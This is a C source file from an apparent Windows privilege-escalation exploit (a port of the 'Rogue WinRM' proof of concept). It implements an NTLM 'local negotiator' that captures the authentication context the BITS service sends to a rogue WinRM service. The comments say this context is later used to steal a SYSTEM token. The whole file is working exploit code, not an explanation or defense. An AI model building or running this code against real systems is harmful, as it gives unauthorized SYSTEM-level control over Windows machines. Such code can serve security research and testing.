/**
	This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
	in  particular for the local negotiator.
	See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
	for how I emulated a class in pure C.

	The local negotiator is an object used to handle security an client-server negotiation data. In this
	exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
	obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
*/

#include "pch.h"


/**
	Constructor of the LocalNegotiator class. Setup the addresses of class methods,
	and initialize some arguments

	@param		LocalNegotiator* this	Address of the instantiated object.
 */
void Init(LocalNegotiator* this)
{
	/* Cleaning everything. This is not very useful as we calloc-ed LocalNegotiator,
	but this is in the case somebody would reuse this function or change the code elswhere.*/
	ZeroMemory(this, sizeof(LocalNegotiator));

	// linking of class methods
	this->destruct = &destructNegotiator;
	this->processNtlmBytes = &processNtlmBytes;
	this->handleType1 = &HandleType1;
	this->handleType3 = &HandleType3;
	this->returnType2 = &ReturnType2;

	// Initialization of attributes
	this->phContext = (PCtxtHandle)calloc(1, sizeof(CtxtHandle));

	this->authResult = -1;

	return;
}



/**
	destructor of the LocalNegotiator Class. Free allocated memory

	@param		LocalNegotiator* this	Address of the instantiated object.
 */
void destructNegotiator(LocalNegotiator* this)
{
	free(this->phContext);
	this->phContext = NULL;
	free(this);
	return;
}



/**
	This static function is a router which process NTLM request bytes according to if it is a
	NTLM 1 or 3 request (for calling a security context through handleType in localNegotiator
	object.

	@param		LocalNegotiator*	this		Address of negotiator object
	@param		char*				ntlmBytes	Address of buffer hosting raw bytes of NTLM request
	@param		unsigned short		len			Length of previous buffer argument

	@return		int								Error code. 0 for success.
*/
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
	int messageType = ntlmBytes[8];

	switch (messageType)
	{
	case 1:
		//NTLM type 1 message
		dprintf("[processNtlmBytes] -- handleType1 start --");
		this->handleType1(this, ntlmBytes, len);
		dprintf("[processNtlmBytes] -- handleType1 end --");
		break;
	case 3:
		//NTLM type 3 message
		dprintf("[processNtlmBytes] -- handleType3 start --");
		this->handleType3(this, ntlmBytes, len);
		dprintf("[processNtlmBytes] -- handleType3 end --");
		break;
	default:
		dprintf("[processNtlmBytes] ERROR: unknown NTLM message type...");
		return -1;
		break;
	}

	return 0;
}




/**
	Process the data sent by the first request of BITS server (ntlmBytes)
	by creating a security context stored in the local negotiator instance.

	@param		LocalNegotiator*	this		Address of the instantiated object.
	@param		char*				ntlmBytes	packet sent by BITS server
	@param		unsigned short		len			length of packet sent by BITS (length of prev argument)

	@return		int								Error code. 0 for success.
 */
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
	int status = -1;
	LPSTR lpPackageName = "Negotiate";
	TimeStamp ptsExpiry;
	TimeStamp tsContextExpiry;
	ULONG fContextAttr;

	status = AcquireCredentialsHandleA
	(
		NULL,
		lpPackageName,
		SECPKG_CRED_INBOUND,
		NULL,
		NULL,
		0,
		NULL,
		&this->hCred,
		&ptsExpiry
	);

	if (status != SEC_E_OK)
	{
		dprintf("[HandleType1] ERROR: AcquireCredentialsHandleA return value: 0x%x", status);
		return -1;
	}

	InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
	InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);

	this->secClientBuffer.cbBuffer = len;
	this->secClientBuffer.pvBuffer = ntlmBytes;

	status = AcceptSecurityContext
	(
		&this->hCred,
		NULL,
		&this->secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		this->phContext,
		&this->secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry
	);

	dprintf("[HandleType1] Result of AcceptSecurityContext() = status: 0x%x--", status);
	return status;
}



/**
	Process the data sent by the second request of BITS server, when it answer to the challenge-response
	proposed by the rogue WinRM service (elevatorService.c) by creating a security context stored in the
	local negotiator instance. This security context will be used later to steal a SYSTEM token.

	@param		LocalNegotiator*	this		Address of the instantiated object.
	@param		char*				ntlmBytes	packet sent by BITS server
	@param		unsigned short		len			length of packet sent by BITS (length of prev argument)

	@return		int								Error code. 0 for success.
 */
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
	InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
	InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);

	this->secClientBuffer.cbBuffer = len;
	this->secClientBuffer.pvBuffer = ntlmBytes;

	ULONG fContextAttr;
	TimeStamp tsContextExpiry;
	int status = AcceptSecurityContext
	(
		&this->hCred,
		this->phContext,
		&this->secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		this->phContext,
		&this->secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry
	);

	this->authResult = status;

	dprintf("[HandleType3] Result of AcceptSecurityContext() = status: 0x%x--", status);
	return status;
}



static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len)
{
	*outbuffer_len = (unsigned short)this->secServerBuffer.cbBuffer;
	return (char*)this->secServerBuffer.pvBuffer;
}



static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
	pSecBuffer->BufferType = SECBUFFER_TOKEN;
	pSecBuffer->cbBuffer = 0;
	pSecBuffer->pvBuffer = NULL;

	pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
	pSecBufferDesc->cBuffers = 1;
	pSecBufferDesc->pBuffers = pSecBuffer;
}
